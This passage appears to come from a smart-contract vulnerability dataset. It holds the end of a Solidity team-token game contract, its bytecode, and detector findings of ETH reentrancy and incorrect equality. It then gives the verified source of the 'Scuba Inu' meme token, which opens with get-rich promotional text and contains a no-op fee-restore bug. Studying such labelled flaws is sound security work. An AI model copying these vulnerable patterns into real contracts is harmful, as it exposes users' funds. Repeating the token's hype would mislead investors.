if (op.totalSupply() > 0) {
// fee is 5%
feeAmount = lostAmount.div(20);
lostAmount = lostAmount.sub(feeAmount);
op = TeamToken(gameOpponent);
feeOwner.transfer(feeAmount);
op.transferFundAndEndGame.value(lostAmount)();
} else {
feeOwner.transfer(lostAmount);
op.transferFundAndEndGame();
}
} else if (amount == opAmount) {
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
} else if (_gameResult == 3) {
//canceled
op.transferFundAndEndGame();
} else {
// should not happen
revert();
}
endGameInternal();
if (totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
emit EndGame(address(this), _gameOpponent, _gameResult);
}
/**
* @dev Reset team token states
*
*/
function endGameInternal() private {
gameOpponent = address(0);
gameTime = 0;
status = 0;
}
/**
* @dev Reset team states and recalculate the price.
*
* This function will be called by opponent team token after end game.
* It accepts the ETH transfer and recalculate the new price based on
* new balance and total supply.
*/
function transferFundAndEndGame() payable public {
require(gameOpponent != address(0) && gameOpponent == msg.sender);
if (msg.value > 0 && totalSupply_ > 0) {
price = address(this).balance.div(totalSupply_);
}
endGameInternal();
}
}
|
0x6080604052600436106101025763ffffffff60e060020a600035041662203116811461026057806306fdde0314610289578063095ea7b31461031357806318160ddd1461034b578063200d2ed21461037257806323b872dd1461039d578063313ce567146103c757806370a08231146103dc5780638da5cb5b146103fd57806395bc95381461042e57806395d89b411461044957806397b817c91461045e578063a035b1fe1461048c578063a5d1c0c0146104a1578063a9059cbb146104d3578063b9818be1146104f7578063c8a5e6d71461050c578063d56b288914610514578063dd62ed3e14610529578063f2fde38b14610550578063fef8383e14610571575b60075460009060ff1615801561011a57506000600654115b151561012557600080fd5b600754635a497a0061010090910467ffffffffffffffff161115610169576007544261010090910467ffffffffffffffff90811661012b1901161161016957600080fd5b60065461017d90349063ffffffff61058616565b600160a060020a0333166000908152602081905260409020549091506101a9908263ffffffff61059b16565b600160a060020a0333166000908152602081905260409020556002546101d5908263ffffffff61059b16565b600255604080518281529051600160a060020a0333811692309091169160008051602061151f8339815191529181900360200190a333600160a060020a031630600160a060020a03167f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e8334604051808381526020018281526020019250505060405180910390a350005b34801561026c57600080fd5b50610287600160a060020a036004351660ff602435166105b5565b005b34801561029557600080fd5b5061029e610b03565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102d85781810151838201526020016102c0565b50505050905090810190601f1680156103055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031f57600080fd5b50610337600160a060020a0360043516602435610b91565b604080519115158252519081900360200190f35b34801561035757600080fd5b50610360610bfb565b60408051918252519081900360200190f35b34801561037e57600080fd5b50610387610c01565b6040805160ff9092168252519081900360200190f35b3480156103a957600080fd5b50610337600160a060020a0360043581169060243516604435610c0a565b3480156103d357600080fd5b50610387610d78565b3480156103e857600080fd5b50610360600160a060020a0360043516610d81565b34801561040957600080fd5b50610412610d9c565b60408051600160a060020a039092168252519081900360200190f35b34801561043a57600080fd5b5061028760ff60043516610db0565b34801561045557600080fd5b5061029e610e39565b34801561046a57600080fd5b50610287600160a060020a036004351667ffffffffffffffff60243516610e94565b34801561049857600080fd5b50610360610fd9565b3480156104ad57600080fd5b506104b6610fdf565b6040805167ffffffffffffffff9092168252519081900360200190f35b3480156104df57600080fd5b50610337600160a060020a0360043516602435610ff4565b34801561050357600080fd5b506104126111d8565b6102876111f4565b34801561052057600080fd5b5061028761126a565b34801561053557600080fd5b50610360600160a060020a03600435811690602435166112e6565b34801561055c57600080fd5b50610287600160a060020a0360043516611311565b34801561057d57600080fd5b506104126113ba565b6000818381151561059357fe5b049392505050565b6000828201838110156105aa57fe5b8091505b5092915050565b600554600090819081908190819033600160a060020a0390811661010090920416146105e057600080fd5b600854600160a060020a0316158015906106075750600854600160a060020a038881169116145b151561061257600080fd5b600854600160a060020a033081163196501631935060ff86166001148061064757508560ff1660021480156106475750838510155b8061065557508560ff166003145b151561066057600080fd5b600854600160a060020a0316925060ff8616600114156108cd5760008511801561068c57506000600254115b1561087157849150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106d457600080fd5b505af11580156106e8573d6000803e3d6000fd5b505050506040513d60208110156106fe57600080fd5b505111156107ce5761071782601463ffffffff61058616565b9050610729828263ffffffff6113c916565b60075460405191935069010000000000000000009004600160a060020a0316906108fc8315029083906000818181858888f19350505050158015610771573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d7836040518263ffffffff1660e060020a0281526004016000604051808303818588803b1580156107b057600080fd5b505af11580156107c4573d6000803e3d6000fd5b505050505061086c565b6007546040516901000000000000000000909104600160a060020a0316906108fc8415029084906000818181858888f19350505050158015610814573d6000803e3d6000fd5b5082600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b505050505b6108c8565b82600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108af57600080fd5b505af11580156108c3573d6000803e3d6000fd5b505050505b610a7e565b8560ff1660021415610a3457838511156109e95761090260026108f6878763ffffffff6113c916565b9063ffffffff61058616565b9150600083600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d602081101561096e57600080fd5b505111156107ce5761098782601463ffffffff61058616565b9050610999828263ffffffff6113c916565b600854600754604051600160a060020a03928316965092945069010000000000000000009004169082156108fc029083906000818181858888f19350505050158015610771573d6000803e3d6000fd5b83851415610a2f5782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561085357600080fd5b600080fd5b8560ff1660031415610a2f5782600160a060020a031663c8a5e6d76040518163ffffffff1660e060020a028152600401600060405180830381600087803b1580156108af57600080fd5b610a866113db565b60006002541115610ab357600254610aaf90600160a060020a033016319063ffffffff61058616565b6006555b6040805160ff881681529051600160a060020a03808a169230909116917fca877aac494c1a237a54e53d1cf34403a485633cd56280f38c182df72936526f9181900360200190a350505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b895780601f10610b5e57610100808354040283529160200191610b89565b820191906000526020600020905b815481529060010190602001808311610b6c57829003601f168201915b505050505081565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b60075460ff1681565b6000600160a060020a0383161515610c2157600080fd5b600160a060020a038416600090815260208190526040902054821115610c4657600080fd5b600160a060020a0380851660009081526001602090815260408083203390941683529290522054821115610c7957600080fd5b600160a060020a038416600090815260208190526040902054610ca2908363ffffffff6113c916565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cd7908363ffffffff61059b16565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610d1d908363ffffffff6113c916565b600160a060020a0380861660008181526001602090815260408083203386168452825291829020949094558051868152905192871693919260008051602061151f833981519152929181900390910190a35060019392505050565b60055460ff1681565b600160a060020a031660009081526020819052604090205490565b6005546101009004600160a060020a031681565b60055433600160a060020a039081166101009092041614610dd057600080fd5b60075460ff82811691161415610de557600080fd5b6007805460ff831660ff1990911681179091556040805191825251600160a060020a033016917fb82ce22096c6500c582b45cfbf153014e62fd0cbcccaf9a68dc6bfbd53d875d3919081900360200190a250565b6004805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610b895780601f10610b5e57610100808354040283529160200191610b89565b60055433600160a060020a039081166101009092041614610eb457600080fd5b600160a060020a03821615801590610ede575030600160a060020a031682600160a060020a031614155b8015610ef35750600854600160a060020a0316155b1515610efe57600080fd5b67ffffffffffffffff81161580610f3a5750635a497a008167ffffffffffffffff16118015610f3a5750635c2aad808167ffffffffffffffff16105b1515610f4557600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169182179092556007805468ffffffffffffffff00191661010067ffffffffffffffff86169081029190911760ff1916909155604080519182525191923016917f1892465d280bc871343cfbf3c63bbbc2bee69afc8d669e83d7e94e54d74c8933916020908290030190a35050565b60065481565b600754610100900467ffffffffffffffff1681565b60008030600160a060020a031684600160a060020a03161415156110235761101c848461140c565b91506105ae565b600160a060020a033316600090815260208190526040902054831180159061104e575060075460ff16155b151561105957600080fd5b600754635a497a0061010090910467ffffffffffffffff16111561109d576007544261010090910467ffffffffffffffff90811661012b1901161161109d57600080fd5b600160a060020a0333166000908152602081905260409020546110c6908463ffffffff6113c916565b600160a060020a0333166000908152602081905260409020556002546110f2908463ffffffff6113c916565b600255600654611108908463ffffffff6114f316565b604051909150600160a060020a0333169082156108fc029083906000818181858888f19350505050158015611141573d6000803e3d6000fd5b5083600160a060020a031633600160a060020a031660008051602061151f833981519152856040518082815260200191505060405180910390a333600160a060020a031684600160a060020a03167fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff8584604051808381526020018281526020019250505060405180910390a35060019392505050565b60075469010000000000000000009004600160a060020a031681565b600854600160a060020a03161580159061121c575060085433600160a060020a039081169116145b151561122757600080fd5b60003411801561123957506000600254115b156112605760025461125c90600160a060020a033016319063ffffffff61058616565b6006555b6112686113db565b565b60055433600160a060020a03908116610100909204161461128a57600080fd5b635b31382c42101561129b57600080fd5b600754604051600160a060020a03690100000000000000000090920482169130163180156108fc02916000818181858888f193505050501580156112e3573d6000803e3d6000fd5b50565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b60055433600160a060020a03908116610100909204161461133157600080fd5b600160a060020a038116151561134657600080fd5b600554604051600160a060020a0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600854600160a060020a031681565b6000828211156113d557fe5b50900390565b6008805473ffffffffffffffffffffffffffffffffffffffff191690556007805468ffffffffffffffffff19169055565b6000600160a060020a038316151561142357600080fd5b600160a060020a03331660009081526020819052604090205482111561144857600080fd5b600160a060020a033316600090815260208190526040902054611471908363ffffffff6113c916565b600160a060020a0333811660009081526020819052604080822093909355908516815220546114a6908363ffffffff61059b16565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061151f83398151915292918290030190a350600192915050565b60008083151561150657600091506105ae565b5082820282848281151561151657fe5b04146105aa57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a294ced905d27e6f5217b8640b67754da4fea36211f427147030c229072c224a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,453 |
0x11d34fa14b989b932c5beb2b98a9d426e0a1b21a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
https://t.me/Undertheseatoken
https://scubainu.com
Shiba Inu... everyone knows him. If it weren't for his silverspoon upbringing and toxic relationship with Elon Musk you would have never met him.
Now It's time to meet me: Scuba Inu! While you all have been shifting through the ocean of meme coins I've been here waiting patiently in its depths to be discovered.
Crypto voyagers prepare to be rich for you have just discovered a treasure!! Scuba Inu is here.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ScubaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Scuba Inu";
string private constant _symbol = "SCUBINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f536375626120496e750000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53435542494e5500000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381